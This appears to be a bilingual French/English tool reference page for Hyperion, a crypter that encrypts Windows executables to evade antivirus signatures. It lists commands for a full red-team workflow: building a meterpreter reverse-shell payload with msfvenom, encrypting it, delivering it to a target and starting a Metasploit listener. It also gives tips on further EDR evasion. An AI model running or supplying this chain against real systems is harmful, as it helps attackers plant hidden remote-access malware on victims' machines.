← retour aux outils back to tools

# Hyperion

Crypter PE à l'exécution pour exécutables Windows qui chiffre un binaire au repos pour contourner la détection par signature statique des antivirus. Runtime PE crypter for Windows executables that encrypts a binary at rest to defeat static AV signature detection.

↗ https://github.com/nullsecuritynet/tools/tree/master/binary/hyperion

## Overview

Hyperion is a runtime crypter for 32-bit Windows PE executables. It encrypts the target binary with AES and wraps it in a stub that brute-forces the key at runtime to decrypt and execute the original code in memory. Because the on-disk file no longer matches any known static signature, it’s used in red-team payload delivery to buy time against signature-based AV before a more thorough EDR bypass is needed. It’s a dated, well-documented technique — good for demonstrating the concept, not for defeating modern EDR on its own.

## Common Usage

Compile the crypter (Linux, cross-compiling for Windows)

    i686-w64-mingw32-g++ -o hyperion.exe Src/*.cpp -lws2_32

Encrypt a payload executable

    hyperion.exe payload.exe payload-crypted.exe

Run the resulting binary on the target (decrypts + executes in memory)

    payload-crypted.exe

## Typical Workflow

1. Generate a raw payload (e.g. msfvenom)

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f exe -o payload.exe

2. Crypt it with Hyperion

    hyperion.exe payload.exe payload-crypted.exe

3. Deliver payload-crypted.exe to the target and start a listener

    msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST <ip>; set LPORT 4444; run"

## Notes

- 32-bit PE only — no native x64 support.
- AV/EDR vendors have long since added detections for the Hyperion stub itself, so on its own it rarely bypasses modern endpoint products; still useful as a teaching example of runtime crypters.
- Combine with a packer/obfuscator and a custom loader for anything beyond a lab demo — relying on Hyperion alone against a current EDR will get caught.

Help / Man page

    hyperion.exe <input.exe> <output.exe>

      <input.exe>    Source PE executable to encrypt
      <output.exe>   Path to write the encrypted/stub-wrapped executable

    Notes:
      - Input must be a valid 32-bit Windows PE executable
      - Output decrypts itself in memory at runtime via brute-forced AES key
      - No command-line flags; behavior is fixed at compile time in Src/Crypter/

## Vue d’ensemble

Hyperion est un crypter à l’exécution pour exécutables PE Windows 32 bits. Il chiffre le binaire cible en AES et l’enveloppe dans un stub qui force par brute-force la clé au démarrage pour déchiffrer et exécuter le code original en mémoire. Comme le fichier sur disque ne correspond plus à aucune signature statique connue, il est utilisé en delivery de payload red team pour gagner du temps face à la détection AV par signature avant qu’un contournement EDR plus poussé soit nécessaire. C’est une technique ancienne et bien documentée : bonne pour démontrer le concept, pas pour battre un EDR moderne à elle seule.

## Utilisation courante

    # Compiler le crypter (Linux, cross-compilation pour Windows)
    i686-w64-mingw32-g++ -o hyperion.exe Src/*.cpp -lws2_32

    # Chiffrer un exécutable payload
    hyperion.exe payload.exe payload-crypted.exe

    # Lancer le binaire résultant sur la cible (déchiffre + exécute en mémoire)
    payload-crypted.exe

## Flux de travail typique

    # 1. Générer un payload brut (par ex. msfvenom)
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f exe -o payload.exe

    # 2. Le chiffrer avec Hyperion
    hyperion.exe payload.exe payload-crypted.exe

    # 3. Livrer payload-crypted.exe à la cible et démarrer un listener
    msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST <ip>; set LPORT 4444; run"

## Notes

- PE 32 bits uniquement : pas de support natif x64.
- Les éditeurs AV/EDR ont depuis longtemps ajouté des détections pour le stub Hyperion lui-même, donc à lui seul il contourne rarement les produits endpoint modernes ; reste utile comme exemple pédagogique de crypter à l’exécution.
- Combiner avec un packer/obfuscateur et un loader personnalisé pour tout ce qui dépasse une démo de lab : s’appuyer sur Hyperion seul contre un EDR actuel se fera détecter.

Aide / Page de manuel

    hyperion.exe <input.exe> <output.exe>

      <input.exe>    Source PE executable to encrypt
      <output.exe>   Path to write the encrypted/stub-wrapped executable

    Notes:
      - Input must be a valid 32-bit Windows PE executable
      - Output decrypts itself in memory at runtime via brute-forced AES key
      - No command-line flags; behavior is fixed at compile time in Src/Crypter/